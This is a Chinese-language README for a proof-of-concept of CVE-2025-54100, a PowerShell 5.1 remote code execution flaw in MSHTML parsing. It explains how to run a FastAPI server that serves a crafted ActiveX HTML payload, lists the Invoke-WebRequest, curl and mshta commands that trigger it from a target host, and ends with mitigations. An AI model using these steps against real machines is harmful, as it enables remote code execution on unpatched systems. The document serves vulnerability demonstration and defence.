
CVE-2025-54100(PowerShell 远程代码执行漏洞)
演示 CVE-2025-54100 如何通过恶意 HTML 解析,在 Windows PowerShell 5.1 中导致 远程代码执行(RCE)。
漏洞类型: 当 Invoke-WebRequest 未使用 -UseBasicParsing 参数时存在命令注入风险
严重等级: CVSS 7.8(高危)
根本原因: 基于 MSHTML 的 HTML 响应解析允许脚本执行(如 ActiveXObject),并在调用者上下文中运行
受影响系统:
CVE-2025-54100.py 中的 FastAPI 服务器返回一个精心构造的 HTML 载荷WScript.Shell / Shell.Application 等 ActiveX 对象calc.exe 来演示远程代码执行python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
启动 PoC HTTP 服务:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
在存在漏洞的 Windows 主机上,不要使用 -UseBasicParsing,执行以下命令:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl(PowerShell 中的别名)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
请确保端口与服务器配置一致。 如果系统存在漏洞,嵌入的脚本将通过 MSHTML 解析器执行。
注意:部分杀毒软件可能会拦截该行为,即使解析漏洞本身仍然存在。
calc.exe:
-UseBasicParsing 的 Invoke-WebRequest该步骤用于验证执行向量。真实攻击场景中,攻击者可能会使用混淆或绕过技术规避默认安全限制。

微软已于 2025 年 12 月 修复该漏洞:
及时安装 Windows 安全更新
始终使用 -UseBasicParsing,避免 MSHTML 解析:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
迁移至 PowerShell 7+(pwsh),PowerShell Core 不再依赖 MSHTML 进行解析,从架构上规避了该问题。